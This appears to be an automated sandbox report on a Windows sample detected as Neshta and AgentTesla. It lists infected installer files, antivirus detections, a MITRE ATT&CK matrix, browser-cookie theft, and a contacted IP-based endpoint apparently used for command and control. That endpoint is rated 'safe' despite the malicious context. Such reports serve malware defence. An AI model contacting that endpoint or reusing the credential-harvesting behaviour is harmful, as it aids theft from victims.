Source: Yara match	File source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\ChromeSetup.exe, type: DROPPED
Source: Yara match	File source: C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies

Source: C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe

Code function: 1_2_00CD59E3 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,

1_2_00CD59E3

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	2 Native API	11 Registry Run Keys / Startup Folder	11 Process Injection	321 Masquerading	1 OS Credential Dumping	1 System Time Discovery	1 Taint Shared Content	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Data from Local System	Exfiltration Over Bluetooth	3 Ingress Tool Transfer	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	151 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	3 Non-Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	1 Deobfuscate/Decode Files or Information	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	14 Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	3 Obfuscated Files or Information	LSA Secrets	31 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	14 Software Packing	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	2 File and Directory Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	45 System Information Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
wYWdigdSjn.exe	100%	ReversingLabs	Win32.Virus.Neshta
wYWdigdSjn.exe	100%	Metadefender		Browse
wYWdigdSjn.exe	100%	Avira	W32/Neshta.A
wYWdigdSjn.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	100%	Avira	W32/Neshta.A
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	100%	Avira	W32/Neshta.A
C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	100%	Avira	TR/PSW.Agent.hgzdq
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	100%	Avira	W32/Neshta.A
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	100%	Avira	W32/Neshta.A
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	100%	Avira	W32/Neshta.A
C:\Users\user\Downloads\ChromeSetup.exe	100%	Avira	W32/Neshta.A
C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	100%	Avira	W32/Neshta.A
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	100%	Avira	W32/Neshta.A
C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	100%	Avira	W32/Neshta.A
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	100%	Avira	W32/Neshta.A
C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	100%	Avira	W32/Neshta.A
C:\Windows\svchost.com	100%	Avira	W32/Neshta.A
C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	100%	Avira	W32/Neshta.A
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	100%	Avira	W32/Neshta.A
C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	100%	Avira	W32/Neshta.A
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	100%	Avira	W32/Neshta.A
C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	100%	Joe Sandbox ML
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	100%	Joe Sandbox ML
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	100%	Joe Sandbox ML
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	100%	Joe Sandbox ML
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	100%	Joe Sandbox ML
C:\Users\user\Downloads\ChromeSetup.exe	100%	Joe Sandbox ML
C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	100%	Joe Sandbox ML
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	100%	Joe Sandbox ML
C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	100%	Joe Sandbox ML
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	100%	Joe Sandbox ML
C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	100%	Joe Sandbox ML
C:\Windows\svchost.com	100%	Joe Sandbox ML
C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	100%	Joe Sandbox ML
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	100%	Joe Sandbox ML
C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	100%	Joe Sandbox ML
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	100%	Joe Sandbox ML
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	96%	ReversingLabs	Win32.Virus.Neshta
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\ose.exe	88%	Metadefender		Browse
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	98%	ReversingLabs	Win32.Virus.Neshta
C:\MSOCache\All Users\{90160000-0011-0000-0000-0000000FF1CE}-C\setup.exe	90%	Metadefender		Browse
C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroBroker.exe	100%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	100%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Adobe\ARM\S\436\AdobeARMHelper.exe	89%	Metadefender		Browse
C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	100%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Adobe\ARM\{291AA914-A987-4CE9-BD63-AC0A92D435E5}\RdrServicesUpdater2_1901220035.exe	92%	Metadefender		Browse
C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	100%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\setup.exe	89%	Metadefender		Browse
C:\ProgramData\Microsoft\Windows Defender\Scans\MpPayloadData\mpengine.exe	100%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe	96%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe	98%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Package Cache\{49697869-be8e-427d-81a0-c334d1d14950}\VC_redist.x86.exe	100%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe	98%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Package Cache\{f4220b74-9edd-4ded-bc8b-0342c1e164d8}\VC_redist.x64.exe	98%	ReversingLabs	Win32.Virus.Neshta
C:\ProgramData\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe	96%	ReversingLabs	Win32.Virus.Neshta
C:\Users\user\AppData\Local\Temp\3582-490\wYWdigdSjn.exe	96%	ReversingLabs	Win32.Trojan.AgentTesla
C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	100%	ReversingLabs	Win32.Virus.Neshta
C:\Users\user\Documents\VlcpVideoV1.0.1\wYWdigdSjn.exe	100%	Metadefender		Browse
C:\Windows\svchost.com	98%	ReversingLabs	Win32.Virus.Neshta
C:\Windows\svchost.com	91%	Metadefender		Browse

Unpacked PE Files

Source	Detection	Scanner	Label	Download
6.0.wYWdigdSjn.exe.b00000.0.unpack	100%	Avira	HEUR/AGEN.1231516	Download File
1.0.wYWdigdSjn.exe.b00000.0.unpack	100%	Avira	HEUR/AGEN.1231516	Download File
16.0.wYWdigdSjn.exe.b00000.0.unpack	100%	Avira	HEUR/AGEN.1231516	Download File
0.0.wYWdigdSjn.exe.400000.0.unpack	100%	Avira	W32/Neshta.A	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://pki.goog/gsr2/GTS1O1.crt0#	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=bingth	0%	URL Reputation	safe
https://deff.nelreports.net/api/report?cat=msn	0%	URL Reputation	safe
http://crl.pki.goog/GTS1O1core.crl0	0%	URL Reputation	safe
http://crl.pki.goog/GTSGIAG3.crl0	0%	URL Reputation	safe
https://adservice.google.co.uk/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gt	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0	0%	URL Reputation	safe
https://pki.goog/repository/0	0%	URL Reputation	safe
http://pki.goog/gsr2/GTS1O1.crt0M	0%	URL Reputation	safe
https://img.img-taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:au	0%	URL Reputation	safe
https://aefd.nelreports.net/api/report?cat=bingaot	0%	URL Reputation	safe
http://crl.pki.goog/gsr2/gsr2.crl0?	0%	URL Reputation	safe
http://pki.goog/gsr2/GTSGIAG3.crt0)	0%	URL Reputation	safe
http://103.136.42.153/seemorebty/il.php?e=WYWDIG~1	0%	Avira URL Cloud	safe
http://103.136.42.153/seemorebty/il.php?e=wYWdigdSjn	0%	Avira URL Cloud	safe
http://103.136.42.153/seemorebty/	0%	Avira URL Cloud	safe
https://www.facetings/account_biisEnterpriseBusibook.com/ads/manis_prepay_accounager/account_setkern	0%	Avira URL Cloud	safe
https://www.facetings/account_biisEnterpriseBusibook.com/ads/manis_prepay_accounager/account_setk	0%	Avira URL Cloud	safe
https://deff.nelreports.net/api/repo	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
star-mini.c10r.facebook.com	157.240.20.35	true	false		high
www.facebook.com	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://103.136.42.153/seemorebty/il.php?e=WYWDIG~1	false	Avira URL Cloud: safe	unknown
http://103.136.42.153/seemorebty/il.php?e=wYWdigdSjn	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.msn.com/de-ch/entertainment/_h/c920645c/webcore/externalscripts/oneTrustV2/scripttemplate	wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/folder-applications.svg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pki.goog/gsr2/GTS1O1.crt0#	wYWdigdSjn.exe, 00000001.00000003.361560311.00000000065A1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/chrome/static/css/main.v2.min.css	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aefd.nelreports.net/api/report?cat=bingth	wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348020222.0000000006109000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.298315948.0000000004690000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360938321.00000000064E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.288753222.0000000004658000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348767400.0000000005A09000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/chrome/th	wYWdigdSjn.exe, 00000001.00000003.266796400.0000000004490000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/fallback/google-chrome-logo.jpg	wYWdigdSjn.exe, 00000001.00000003.424503916.0000000006068000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/google-play-download.png	wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/chrome_throbber_fast.gif	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/google-canary.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/favicons/favicon-16x16.png	wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.294308206.0000000005631000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
https://geolocation.onetrust.com/cookieconsentpub/v1/geo/location	wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.424893873.00000000060A8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.msn.com	wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://deff.nelreports.net/api/report?cat=msn	wYWdigdSjn.exe, 00000001.00000003.265395812.00000000045E8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.285265550.0000000004651000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290360405.0000000004457000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348286405.00000000060C9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.424893873.00000000060A8000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.290259189.0000000004455000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.348430959.0000000006089000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266287345.00000000045E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.347819047.0000000006149000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/chrome/static/images/chrome-logo.svg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/homepage_features.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.adobedtm.com/launch-EN7b3d710ac67a4a1195648458258f97dd.min.js	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/laptop_desktop.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/js/main.v2.min.js	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/fallback/icon-description-white-blue-bg.jpg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCfd484f9188564713bbc5d13d862ebbf	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://adservice.google.com/ddm/fls/i/src=2542116;type=chrom322;cat=chrom01g;ord=6856811916691;gtm=	wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/download-browser/big_pixel_phone.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/	wYWdigdSjn.exe, 00000001.00000003.294308206.0000000005631000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.266796400.0000000004490000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.375901688.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCc13122162a9a46c3b4cbf05ffccde0f	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e	wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/hero-anim-bottom-left.png	wYWdigdSjn.exe, 00000001.00000003.379080778.0000000004748000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/homepage/homepage_privacy.png	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/chrome_safari-behavior.jpg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contextual.media.net/checksync.php?&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prvid=77%2	wYWdigdSjn.exe, 00000001.00000003.348138764.00000000060E9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://maps.windows.com/windows-app-web-link	wYWdigdSjn.exe, 00000001.00000003.268478480.00000000046E0000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.268985337.00000000046E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.msn.com/?ocid=iehp	wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
https://2542116.fls.doubleclick.net/activityi;src=2542116;type=chrom322;cat=chrom01g;ord=68568119166	wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
https://assets.adobedtm.com/5ef092d1efb5/4d1d9f749fd3/434d91f2e635/RCee0d4d5fd4424c8390d703b105f82c3	wYWdigdSjn.exe, 00000001.00000003.361014205.00000000064D9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://srtb.msn.com/auction?a=de-ch&b=a8415ac9f9644a1396bc1648a4599445&c=MSN&d=http%3A%2F%2Fwww.msn	wYWdigdSjn.exe, 00000001.00000003.348345411.00000000060A9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/fallback/icon-youtube.jpg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.pki.goog/GTS1O1core.crl0	wYWdigdSjn.exe, 00000001.00000003.360356031.00000000064B1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361847934.0000000006561000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361718418.0000000006581000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361245745.00000000046E9000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.359978543.0000000006471000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361476520.00000000065C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.352229984.00000000063C1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360533347.0000000005459000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.360605685.0000000005439000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.361560311.00000000065A1000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.350703334.0000000005719000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://deff.nelreports.net/api/repo	wYWdigdSjn.exe, 00000001.00000003.347980368.0000000006148000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/static/images/icon-announcement.svg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/thank-you.html?statcb=0&installdataindex=empty&defaultbrowser=0	wYWdigdSjn.exe, 00000001.00000003.294308206.0000000005631000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.267108291.0000000004458000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262381480.0000000004451000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.375901688.0000000005C68000.00000004.00000800.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000003.262504940.0000000004458000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.facetings/account_biisEnterpriseBusibook.com/ads/manis_prepay_accounager/account_setk	wYWdigdSjn.exe, 00000001.00000003.243224854.00000000029B0000.00000004.00001000.00020000.00000000.sdmp, wYWdigdSjn.exe, 00000001.00000002.527053749.0000000000CEE000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/chrome/static/images/homepage/hero-anim-middle.png	wYWdigdSjn.exe, 00000001.00000003.424503916.0000000006068000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/css/main.v3.min.css	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/application/x-msdownloadC:	wYWdigdSjn.exe, 00000001.00000003.278422028.00000000045AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/fallback/icon-file-download.jpg	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dl.google.com/tag/s/appguid%3D%7B8A69D345-D564-463C-AFF1-A69D9E530F96%7D%26iid%3D%7BFD3B6173	wYWdigdSjn.exe, 00000001.00000003.278422028.00000000045AF000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/images/cursor-replay.cur	wYWdigdSjn.exe, 00000001.00000003.361099076.0000000004749000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/static/js/installer.min.js	wYWdigdSjn.exe, 00000001.00000003.348531304.0000000006069000.00000004.00000800.00020000.00000000.sdmp	false		high
